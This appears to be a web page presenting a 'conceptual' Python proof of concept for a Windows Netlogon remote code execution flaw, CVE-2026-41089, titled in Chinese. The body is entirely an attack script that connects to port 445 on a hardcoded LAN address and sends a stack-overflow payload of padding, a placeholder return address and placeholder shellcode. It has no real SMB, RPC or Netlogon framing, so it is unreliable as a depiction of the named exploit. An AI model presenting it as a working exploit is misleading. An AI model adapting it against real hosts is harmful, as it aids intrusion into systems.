CVE-2026-41089 Windows Netlogon远程代码执行漏洞

import socket import struct # Conceptual Proof of Concept for CVE-2026-41089 # Target: Windows Netlogon Service (Stack Buffer Overflow) # Note: Actual offsets and shellcode need to be determined based on the specific target version. def trigger_overflow(target_ip, target_port=445): try: print(f"[*] Connecting to {target_ip}:{target_port}...") # Establishing a raw TCP connection (SMB/RPC context required in real scenario) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Constructing the malicious payload # Header + Padding + Overflow Pattern ('A') + Return Address (ROP) + Shellcode header = b"\x00\x00\x00\x00" # Simplified Netlogon RPC header placeholder junk = b"A" * 1024 # Triggering the stack overflow ret_addr = struct.pack('<L', 0xdeadbeef) # Placeholder for return address shellcode = b"\xCC" * 50 # Placeholder for INT3 trap payload = header + junk + ret_addr + shellcode print("[*] Sending malicious payload...") s.send(payload) print("[*] Payload sent. Check target status.") s.close() except Exception as e: print(f"[!] Exploit failed: {e}") if __name__ == "__main__": target = "192.168.1.10" trigger_overflow(target)